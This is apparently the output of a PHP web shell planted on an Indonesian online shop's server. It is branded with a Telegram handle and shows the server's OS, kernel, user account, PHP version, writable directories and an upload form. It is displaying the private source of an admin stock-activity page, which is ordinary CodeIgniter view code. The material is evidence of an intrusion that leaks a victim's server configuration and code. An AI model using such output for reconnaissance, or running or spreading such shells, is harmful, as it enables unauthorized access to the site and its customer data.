https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin_new/stocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin_new/stocks/activity.php
<main class="flex-1 py-4 px-4 bg-purple-50">
    <div class="flex items-center mb-4">
        <h1 class="text-xl font-bold text-[#333]">Aktivitas Stok</h1>

        <div class="ml-auto flex items-center gap-2">
            <!-- <div class="relative inline-block text-left">
                <button type="button" id="btnDownloadData" class="border border-gray-300 text-sm rounded-lg px-4 py-2 bg-white hover:bg-gray-50 gap-4 flex items-center justify-between focus:outline-none focus:ring-1 focus:ring-[#7A4397] hover:bg-[#5a2f73] transition duration-300 ease-in-out text-[#333]">
                    <i data-feather="download" class="h-4 w-4"></i>
                    <span>Download</span>
                    <i data-feather="chevron-down" id="chevronDownload" class="h-4 w-4 transition-transform transform duration-300"></i>
                </button>

                <div id="dropdownMenu" class="hidden opacity-0 scale-95 transform transition-all duration-300 absolute right-0 mt-2 w-48 bg-white border border-gray-200 rounded-lg shadow-lg z-[999]">
                    <button data-format="csv" class="dropdown-download-item flex items-center gap-2 w-full text-left px-4 py-2 hover:bg-gray-100 transition duration-200">
                        <i data-feather="file-text" class="h-4 w-4"></i> Download as CSV
                    </button>
                    <button data-format="excel" class="dropdown-download-item flex items-center gap-2 w-full text-left px-4 py-2 hover:bg-gray-100 transition duration-200">
                        <i data-feather="table" class="h-4 w-4"></i> Download as Excel
                    </button>
                    <button data-format="pdf" class="dropdown-download-item flex items-center gap-2 w-full text-left px-4 py-2 hover:bg-gray-100 transition duration-200">
                        <i data-feather="file" class="h-4 w-4"></i> Download as PDF
                    </button>
                </div>
            </div> -->
            <!-- Filter Date -->
            <!-- Date Filter Dropdown -->
            <div class="relative" id="dateFilterDropdown">
                <button class="border border-gray-300 text-sm rounded-lg px-4 py-2 bg-white hover:bg-gray-50 flex items-center justify-between w-[350px] focus:outline-none focus:ring-1 focus:ring-[#7A4397]">
                    <div class="flex items-center">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 mr-2 text-[#333]" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 7V3m8 4V3m-9 8h10M5 21h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z" />
                        </svg>
                        <span id="dateFilterText">Hari ini</span>
                    </div>
                    <i data-feather="chevron-down" class="w-4 h-4 text-gray-700"></i>
                </button>
                <div class="hidden absolute right-0 top-full mt-2 bg-white border border-gray-200 rounded-lg shadow-lg z-50 w-[650px]" id="dateFilterMenu">
                    <div class="p-4">
                        <!-- Two-column layout with fixed left column -->
                        <div class="flex">
                            <!-- Left Column - Fixed options -->
                            <div class="w-1/2 border-r border-gray-200 pr-2">
                                <h3 class="text-gray-700 font-medium mb-2">Rentang waktu</h3>

                                <div class="flex flex-col">
                                    <!-- Hari ini -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="today">
                                        <div class="text-gray-800 pl-2">Hari ini</div>
                                    </div>

                                    <!-- Kemarin -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="yesterday">
                                        <div class="text-gray-800 pl-2">Kemarin</div>
                                    </div>

                                    <!-- 7 hari terakhir -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="last7days">
                                        <div class="text-gray-800 pl-2">7 hari terakhir</div>
                                    </div>

                                    <!-- 30 hari terakhir -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="last30days">
                                        <div class="text-gray-800 pl-2">30 hari terakhir</div>
                                    </div>

                                    <!-- Bulan ini -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="thisMonth">
                                        <div class="text-gray-800 pl-2">Bulan ini</div>
                                    </div>

                                    <!-- Tahun ini -->
                                    <div class="py-3 hover:bg-gray-50 cursor-pointer date-option" data-option="thisYear">
                                        <div class="text-gray-800 pl-2">Tahun ini</div>
                                    </div>

                                    <!-- Separator -->
                                    <div class="my-2 border-t border-gray-200"></div>

                                    <!-- Pilih Tanggal with active indicator -->
                                    <div id="customDateOption" class="py-3 hover:bg-gray-50 cursor-pointer date-option relative" data-option="customDate">
                                        <div class="text-gray-800 pl-2 flex items-center">
                                            <span>Pilih Tanggal</span>
                                            <div id="customDateIndicator" class="hidden absolute left-0 top-0 bottom-0 w-1 bg-green-500"></div>
                                        </div>
                                    </div>
                                </div>
                            </div>

                            <!-- Right Column - Dynamic content -->
                            <div class="w-1/2 pl-2">
                                <!-- Date display for predefined options -->
                                <div id="predefinedDateInfo">
                                    <h3 class="text-gray-700 font-medium mb-2" id="currentMonthTitle">Februari 2025</h3>

                                    <div id="dateDisplays">
                                        <div class="py-3" id="todayDateDisplay">
                                            <div class="text-gray-600" id="todayDate">28 Feb 2025 (00:00 - 11:00)</div>
                                        </div>

                                        <div class="py-3 hidden" id="yesterdayDateDisplay">
                                            <div class="text-gray-600" id="yesterdayDate">27 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="last7daysDateDisplay">
                                            <div class="text-gray-600" id="last7daysDate">21 Feb - 27 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="last30daysDateDisplay">
                                            <div class="text-gray-600" id="last30daysDate">29 Jan - 27 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="thisMonthDateDisplay">
                                            <div class="text-gray-600" id="thisMonthDate">01 Feb - 28 Feb 2025</div>
                                        </div>

                                        <div class="py-3 hidden" id="perDayDateDisplay">
                                            <div class="text-gray-600">Filter per hari</div>
                                        </div>

                                        <div class="py-3 hidden" id="perWeekDateDisplay">
                                            <div class="text-gray-600">Filter per minggu</div>
                                        </div>

                                        <div class="py-3 hidden" id="perMonthDateDisplay">
                                            <div class="text-gray-600">Filter per bulan</div>
                                        </div>
                                    </div>
                                </div>

                                <!-- Calendar for custom date -->
                                <div id="calendarContainer" class="hidden">
                                    <div class="text-center mb-2">
                                        <div id="customDateMessage" class="text-gray-500 text-sm">Kamu belum pilih tanggal</div>
                                    </div>
                                    <div id="flatpickrContainer"></div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <?php if ($this->session->flashdata('message')): ?>
        <div class="alert flex items-center justify-between bg-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-100 border-l-4 border-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-500 text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-800 px-6 py-4 rounded-lg shadow-lg transition transform duration-300">
            <div class="flex items-center">
                <i data-feather="<?php echo $this->session->flashdata('message_type') === 'success' ? 'check-circle' : 'x-circle'; ?>" class="h-6 w-6 mr-3"></i>
                <span class="font-semibold"><?php echo $this->session->flashdata('message'); ?></span>
            </div>
            <button class="ml-4 text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-500 hover:text-<?php echo $this->session->flashdata('message_type') === 'success' ? 'green' : 'red'; ?>-700 focus:outline-none" onclick="this.parentElement.style.display='none'">
                <i data-feather="x" class="h-5 w-5"></i>
            </button>
        </div>
    <?php endif; ?>

    <!-- Search and Filters -->
    <div class="mt-4 flex flex-col gap-4 sm:flex-row sm:flex-wrap text-sm">
        <!-- Search -->
        <div class="w-full sm:flex-1 sm:min-w-[300px]">
            <div class="relative">
                <input
                    id="searchInput"
                    type="text"
                    placeholder="Cari berdasarkan nama produk, brand, pelanggan, order id."
                    class="w-full pl-10 pr-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-1 focus:ring-[#7A4397]">
                <div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
                    <svg class="h-5 w-5 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
                    </svg>
                </div>
            </div>
        </div>

    </div>

    <!-- Selected Filters Display -->
    <div id="selectedFilters" class="mt-4 flex flex-wrap gap-2 items-center">
        <span id="resetFilters" class="text-[#7A4397] text-sm mr-2 font-semibold cursor-pointer hidden">Reset Filter</span>
    </div>

    <div id="activities-container" class="mt-4"></div>
    <div id="loading-more" class="hidden flex justify-center items-center p-4">
        <div class="animate-spin rounded-full h-6 w-6 border-b-2 border-green-600"></div>
        <span class="ml-2 text-gray-600">Memuat data...</span>
    </div>
</main>
<script>
    let currentPage = 1;
    let hasMoreData = true;
    let isFetching = false;
    let allActivities = [];
    let debounceTimer;
    let searchDebounceTimer;

    // Date Filter
    const dateFilterDropdown = document.getElementById('dateFilterDropdown');
    const dateFilterButton = dateFilterDropdown.querySelector('button');
    const dateFilterMenu = document.getElementById('dateFilterMenu');
    const dateFilterText = document.getElementById('dateFilterText');
    const dateOptions = document.querySelectorAll('.date-option');
    const customDateOption = document.getElementById('customDateOption');
    const customDateIndicator = document.getElementById('customDateIndicator');
    const calendarContainer = document.getElementById('calendarContainer');
    const predefinedDateInfo = document.getElementById('predefinedDateInfo');
    const dateDisplays = document.querySelectorAll('#dateDisplays > div');
    // Current active option
    let activeOption = 'today';
    // Initialize flatpickr calendar
    let flatpickrInstance = null;

    const BASE_URL_IMAGE = "<?= base_url('uploads/product') ?>";
    const BASE_URL_PRODUCT = "<?= base_url('product') ?>";
    const BASE_URL_FETCH_DATA = "<?= base_url('admin/stocks/get_stock_activities') ?>";
    const BASE_URL = "<?= base_url('admin/stocks') ?>";

    document.addEventListener("DOMContentLoaded", function() {
        // Tambahkan event listener untuk search input
        document.getElementById('searchInput').addEventListener('input', function(e) {
            clearTimeout(searchDebounceTimer);
            searchDebounceTimer = setTimeout(() => {
                searchCustomers(e.target.value);
            }, 250);
        });

        // // Download Data
        // document.getElementById("btnDownloadData").addEventListener("click", function() {
        //     let dropdown = document.getElementById("dropdownMenu");
        //     let iconChevron = document.getElementById("chevronDownload");

        //     if (dropdown.classList.contains("hidden")) {
        //         dropdown.classList.remove("hidden");
        //         setTimeout(() => {
        //             dropdown.classList.remove("opacity-0", "scale-95");
        //         }, 10);
        //         iconChevron.classList.add("rotate-180");
        //     } else {
        //         dropdown.classList.add("opacity-0", "scale-95");
        //         setTimeout(() => {
        //             dropdown.classList.add("hidden");
        //         }, 200);
        //         iconChevron.classList.remove("rotate-180");
        //     }
        // });

        // Handle click opsi
        // document.querySelectorAll(".dropdown-download-item").forEach(item => {
        //     item.addEventListener("click", function() {
        //         let format = this.getAttribute("data-format");
        //         if (format === "csv") {
        //             downloadOrdersCSV(allActivities);
        //         } else if (format === "excel") {
        //             downloadOrdersExcel(allActivities);
        //         } else if (format === "pdf") {
        //             downloadOrdersPDF(allActivities);
        //         }

        //         let dropdown = document.getElementById("dropdownMenu");
        //         dropdown.classList.add("opacity-0", "scale-95");
        //         setTimeout(() => {
        //             dropdown.classList.add("hidden");
        //         }, 200);
        //         document.getElementById("chevronDownload").classList.remove("rotate-180");
        //     });
        // });

        // // Hide dropdown jika klik di luar
        // document.addEventListener("click", function(event) {
        //     let dropdown = document.getElementById("dropdownMenu");
        //     let button = document.getElementById("btnDownloadData");
        //     if (!button.contains(event.target) && !dropdown.contains(event.target)) {
        //         dropdown.classList.add("opacity-0", "scale-95");
        //         setTimeout(() => {
        //             dropdown.classList.add("hidden");
        //         }, 200);
        //         document.getElementById("chevronDownload").classList.remove("rotate-180");
        //     }
        // });

        // Date Filter
        // Toggle dropdown
        dateFilterButton.addEventListener('click', function() {
            dateFilterMenu.classList.toggle('hidden');
        });

        // Close dropdown when clicking outside
        document.addEventListener('click', function(event) {
            if (!dateFilterDropdown.contains(event.target)) {
                dateFilterMenu.classList.add('hidden');
            }
        });

        // Handle date option selection
        dateOptions.forEach(option => {
            option.addEventListener('click', function() {
                const optionType = this.getAttribute('data-option');
                // Set this as the active option
                activeOption = optionType;
                // Update visual indicators
                dateOptions.forEach(opt => {
                    opt.classList.remove('bg-gray-100');
                });
                this.classList.add('bg-gray-100');
                // Hide all date displays first
                dateDisplays.forEach(display => {
                    display.classList.add('hidden');
                });
                if (optionType === 'customDate') {
                    // Show calendar for custom date
                    predefinedDateInfo.classList.add('hidden');
                    calendarContainer.classList.remove('hidden');
                    customDateIndicator.classList.remove('hidden');
                    // Initialize calendar if not already
                    initializeCalendar();
                } else {
                    // Show the relevant date display
                    predefinedDateInfo.classList.remove('hidden');
                    calendarContainer.classList.add('hidden');
                    customDateIndicator.classList.add('hidden');
                    // Show corresponding date info
                    const correspondingDisplay = document.getElementById(`${optionType}DateDisplay`);
                    if (correspondingDisplay) {
                        correspondingDisplay.classList.remove('hidden');
                    }
                    // Get date text to update the main button
                    const dateInfo = document.getElementById(`${optionType}Date`);
                    if (dateInfo) {
                        const optionText = this.querySelector('div').innerText;
                        dateFilterText.innerText = `${optionText} (${dateInfo.innerText})`;
                    } else {
                        dateFilterText.innerText = this.querySelector('div').innerText;
                    }
                    // Close dropdown after a slight delay to show the selection
                    setTimeout(() => {
                        dateFilterMenu.classList.add('hidden');
                    }, 300);

                    // Tambahkan param date_filter ke URL dan fetch data
                    updateURLAndFetch('date_filter', optionType);
                }
            });
        });

        function initializeCalendar() {
            if (flatpickrInstance === null && typeof flatpickr !== 'undefined') {
                // Create an input element for flatpickr
                if (!document.getElementById('dateRangePicker')) {
                    const input = document.createElement('input');
                    input.type = 'text';
                    input.id = 'dateRangePicker';
                    input.className = 'hidden';
                    document.getElementById('flatpickrContainer').appendChild(input);
                }

                // Initialize flatpickr
                flatpickrInstance = flatpickr("#dateRangePicker", {
                    mode: "range",
                    inline: true,
                    dateFormat: "d M Y",
                    maxDate: "today",
                    locale: {
                        rangeSeparator: " - ",
                        firstDayOfWeek: 1,
                        weekdays: {
                            shorthand: ['Min', 'Sen', 'Sel', 'Rab', 'Kam', 'Jum', 'Sab'],
                            longhand: ['Minggu', 'Senin', 'Selasa', 'Rabu', 'Kamis', 'Jumat', 'Sabtu']
                        },
                        months: {
                            shorthand: ['Jan', 'Feb', 'Mar', 'Apr', 'Mei', 'Jun', 'Jul', 'Agu', 'Sep', 'Okt', 'Nov', 'Des'],
                            longhand: ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
                        }
                    },
                    onChange: function(selectedDates, dateStr) {
                        if (selectedDates.length === 2) {
                            document.getElementById('customDateMessage').innerText = dateStr;
                        } else if (selectedDates.length === 1) {
                            document.getElementById('customDateMessage').innerText = 'Pilih tanggal akhir';
                        } else {
                            document.getElementById('customDateMessage').innerText = 'Kamu belum pilih tanggal';
                        }
                    },
                    onClose: function(selectedDates, dateStr) {
                        if (selectedDates.length === 2) {
                            // Update the custom date message
                            document.getElementById('customDateMessage').innerText = dateStr;
                            // Update the main filter text
                            dateFilterText.innerText = `Pilih Tanggal (${dateStr})`;
                            // Close the dropdown
                            dateFilterMenu.classList.add('hidden');

                            // Simpan tanggal yang dipilih untuk digunakan dalam updateURLAndFetch
                            const startDate = formatDateForApi(selectedDates[0]);
                            const endDate = formatDateForApi(selectedDates[1]);

                            // Update URL and fetch data dengan custom date
                            updateURLAndFetch('date_filter', 'custom', {
                                start_date: startDate,
                                end_date: endDate
                            });
                        }
                    }
                });

                // Customize calendar appearance
                const calendarElement = document.querySelector('.flatpickr-calendar');
                if (calendarElement) {
                    calendarElement.classList.add('shadow-none', 'border-0');
                }
            }
        }

        // Helper function to format date for API
        function formatDateForApi(date) {
            return `${date.getFullYear()}-${(date.getMonth() + 1).toString().padStart(2, '0')}-${date.getDate().toString().padStart(2, '0')}`;
        }

        // Update date values on page load
        updateDateLabels();

        // Set today as active by default
        const todayOption = document.querySelector('[data-option="today"]');
        if (todayOption) {
            todayOption.classList.add('bg-gray-100');
            document.getElementById('todayDateDisplay').classList.remove('hidden');
        }
        // Fetch data customer infinite scroll
        window.addEventListener('scroll', () => {
            if ((window.innerHeight + window.scrollY) >= document.body.offsetHeight - 500) {
                fetchActivities(new URLSearchParams(window.location.search), true);
            }
        });
        feather.replace();
        updateURLAndFetch();
    });

    function updateDateLabels() {
        const now = new Date();
        const today = new Date(now);
        const yesterday = new Date(now);
        yesterday.setDate(yesterday.getDate() - 1);

        // Update the month title
        document.getElementById('currentMonthTitle').innerText =
            today.toLocaleDateString('id-ID', {
                month: 'long',
                year: 'numeric'
            });

        // Format function for dates
        function formatDate(date) {
            return date.toLocaleDateString('id-ID', {
                day: '2-digit',
                month: 'short',
                year: 'numeric'
            }).replace('.', '');
        }

        function formatDateRange(start, end) {
            return `${formatDate(start)} - ${formatDate(end)}`;
        }

        // Today with real time
        const hour = now.getHours();
        const minute = now.getMinutes();
        document.getElementById('todayDate').innerText =
            `${formatDate(today)} (00:00 - ${hour.toString().padStart(2, '0')}:${minute.toString().padStart(2, '0')})`;

        // Yesterday
        document.getElementById('yesterdayDate').innerText = formatDate(yesterday);

        // Last 7 days
        const last7Start = new Date(now);
        last7Start.setDate(last7Start.getDate() - 7);
        const last7End = new Date(yesterday);
        document.getElementById('last7daysDate').innerText = formatDateRange(last7Start, last7End);

        // Last 30 days
        const last30Start = new Date(now);
        last30Start.setDate(last30Start.getDate() - 30);
        const last30End = new Date(yesterday);
        document.getElementById('last30daysDate').innerText = formatDateRange(last30Start, last30End);

        // This month
        const thisMonthStart = new Date(now.getFullYear(), now.getMonth(), 1);
        const thisMonthEnd = new Date(now.getFullYear(), now.getMonth() + 1, 0);
        document.getElementById('thisMonthDate').innerText = formatDateRange(thisMonthStart, thisMonthEnd);
    }


    function updateURLAndFetch(paramName, value, extraParams = null) {
        clearTimeout(debounceTimer);
        debounceTimer = setTimeout(() => {
            const params = new URLSearchParams(window.location.search);

            // Perbarui atau hapus parameter yang ditentukan
            if (paramName) {
                if (value !== null && value !== undefined) {
                    params.set(paramName, value);
                } else {
                    params.delete(paramName);
                }
            }

            // Handle parameter date
            if (paramName === 'date_filter') {
                // Jika date_filter adalah custom, tambahkan extraParams
                if (value === 'custom' && extraParams) {
                    for (const [key, val] of Object.entries(extraParams)) {
                        params.set(key, val);
                    }
                } else if (value !== 'custom') {
                    // Hapus parameter start_date dan end_date jika bukan custom
                    params.delete('start_date');
                    params.delete('end_date');
                }
            }

            // Reset pagination
            currentPage = 1;
            hasMoreData = true;
            allActivities = [];

            // Update URL
            const newUrl = `${window.location.pathname}?${params.toString()}`;
            history.pushState(null, '', newUrl);

            // Fetch customers with new parameters (replace mode)
            fetchActivities(params, false);
        }, 300);
    }

    function fetchActivities(params = new URLSearchParams(), append = false) {

        if (isFetching) return;
        // Jika tidak dalam mode append dan tidak ada data lagi, reset hasMoreData
        if (!append) {
            hasMoreData = true;
        } else if (!hasMoreData) {
            return;
        }

        isFetching = true;

        const baseUrl = BASE_URL_FETCH_DATA;
        params.set('page', currentPage);
        params.set('limit', 10);

        const url = `${baseUrl}?${params.toString()}`;
        const progressBar = document.getElementById('progressBar');
        progressBar.classList.remove('hidden');
        fetch(url)
            .then(res => res.json())
            .then(data => {
                progressBar.classList.add('hidden');
                if (data.length === 0) {
                    hasMoreData = false;

                    if (!append) {
                        const container = document.getElementById('activities-container');
                        container.innerHTML = '<div class="flex justify-center items-center p-8 text-gray-500">Tidak ada aktivitas stok yang ditemukan</div>';
                    }
                } else {
                    if (!append) {
                        allActivities = data;
                    } else {
                        allActivities = [...allActivities, ...data];
                    }
                    console.log(allActivities);
                    renderActivities(data, append);
                    currentPage++;
                }

                isFetching = false;
            })
            .catch(error => {
                progressBar.classList.add('hidden');
                console.error('Error fetching activities:', error);
                isFetching = false;

                // Tampilkan pesan error
                const container = document.getElementById('activities-container');
                container.innerHTML = '<div class="flex justify-center items-center p-8 text-red-500">Terjadi kesalahan saat mengambil data. Silakan coba lagi.</div>';
            });
    }

    function formatNumber(number) {
        return new Intl.NumberFormat('id-ID').format(number);
    }

    function renderActivities(activities, append = false) {
        const container = document.getElementById('activities-container');
        const loadingMore = document.getElementById('loading-more');

        if (!append) {
            container.innerHTML = ''; // Clear existing content
        }

        if (!activities || activities.length === 0) {
            if (!append) {
                container.innerHTML = '<div class="flex justify-center items-center p-8 text-gray-500">Tidak ada aktivitas stok yang ditemukan</div>';
            }
            loadingMore.classList.add('hidden');
            return;
        }

        // Jika tidak append, buat struktur tabel baru
        if (!append) {
            const tableWrapper = document.createElement('div');
            tableWrapper.className = 'overflow-x-auto rounded-lg shadow';
            tableWrapper.innerHTML = `
            <table class="min-w-full divide-y divide-gray-200">
                <thead class="bg-gray-50">
                    <tr>
                        <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Pelanggan</th>
                        <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Produk</th>
                        <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Deskripsi</th>
                        <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Stok Awal</th>
                        <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Stok Akhir</th>
                        <th scope="col" class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tanggal</th>
                    </tr>
                </thead>
                <tbody id="activities-table-body" class="bg-white divide-y divide-gray-200">
                </tbody>
            </table>
        `;
            container.appendChild(tableWrapper);
        }

        const tableBody = document.getElementById('activities-table-body') || container.querySelector('tbody');

        activities.forEach(activity => {
            // Format tanggal
            const activityDate = new Date(activity.timestamp);
            const formattedDate = formatDate(activityDate);
            // Buat inisial untuk avatar
            const initial = activity.name ? activity.name.charAt(0).toUpperCase() : "L";

            const row = document.createElement('tr');
            row.className = 'hover:bg-gray-50 transition-colors';

            row.innerHTML = `
                <td class="px-4 py-3">
                    <div class="flex items-center">
                        <div class="flex-shrink-0 h-10 w-10 rounded-full bg-gray-200 flex items-center justify-center">
                            <span class="text-gray-600 font-medium">${initial}</span>
                        </div>
                        <div class="ml-4">
                            <div class="text-sm font-medium text-[#333]">${activity.name ?? 'Admin'} (${activity.phone ?? 'Admin'})</div>
                        </div>
                    </div>
                </td>
                <td class="px-4 py-3">
                    <div class="flex flex-col">
                        ${activity.product_name ? `
                        <div class="ml-4">
                            <div class="text-sm font-medium text-[#333]">${activity.product_name}</div>
                        </div>
                        ` : ''}
                        
                        ${activity.brand ? `
                        <div class="ml-4">
                            <div class="text-sm text-[#333]">Brand: <span class="font-medium">${activity.brand}</span></div>
                        </div>
                        ` : ''}
                        
                        ${activity.attributes ? `
                        <div class="ml-4">
                            <div class="text-sm text-[#333]">Varian: <span class="font-medium">${activity.attributes}</span></div>
                        </div>
                        ` : ''}
                        
                        ${activity.product_sku || activity.sku ? `
                        <div class="ml-4">
                            <div class="text-sm text-[#333]">SKU: <span class="font-medium">${activity.product_sku || activity.sku}</span></div>
                        </div>
                        ` : ''}
                    </div>
                </td>
                <td class="px-4 py-3">
                    <div class="text-sm text-[#333]">${activity.description}</div>
                </td>
                <td class="px-4 py-3">
                    <div class="text-sm text-[#333]">${activity.old_value}</div>
                </td>
                <td class="px-4 py-3">
                    <div class="text-sm text-[#333]">${activity.new_value}</div>
                </td>
                <td class="px-4 py-3">
                    <div class="text-sm text-[#333]">${formattedDate}</div>
                </td>
            `;

            tableBody.appendChild(row);
        });

        loadingMore.classList.add('hidden');

        // Inisialisasi Feather Icons
        feather.replace();
    }


    // Fungsi untuk memformat tanggal
    function formatDate(date) {
        const months = [
            'Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni',
            'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember'
        ];

        const day = date.getDate().toString().padStart(2, '0');
        const month = months[date.getMonth()];
        const year = date.getFullYear();

        return `${day} ${month} ${year}`;
    }

    // Fungsi untuk membuat rating bintang
    function generateStarRating(rating) {
        const starCount = parseInt(rating);
        let starsHtml = '';

        for (let i = 1; i <= 5; i++) {
            if (i <= starCount) {
                // Full star
                starsHtml += '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="#FFD700" stroke="#FFD700" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg>';
            } else {
                // Empty star
                starsHtml += '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#D1D5DB" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon></svg>';
            }
        }

        return starsHtml;
    }

    function searchCustomers(searchTerm) {
        // Reset data pencarian dan pagination
        currentPage = 1;
        hasMoreData = true;
        allActivities = [];

        // Ambil parameter URL saat ini
        const params = new URLSearchParams(window.location.search);

        // Tambahkan parameter pencarian atau hapus jika kosong
        if (searchTerm && searchTerm.trim() !== '') {
            params.set('search', searchTerm.trim());
        } else {
            params.delete('search');
        }

        // Update URL
        const newUrl = `${window.location.pathname}?${params.toString()}`;
        history.pushState(null, '', newUrl);

        // Fetch dengan parameter pencarian
        fetchActivities(params, false);
    }
</script>

https://t.me/RX1948 - 2025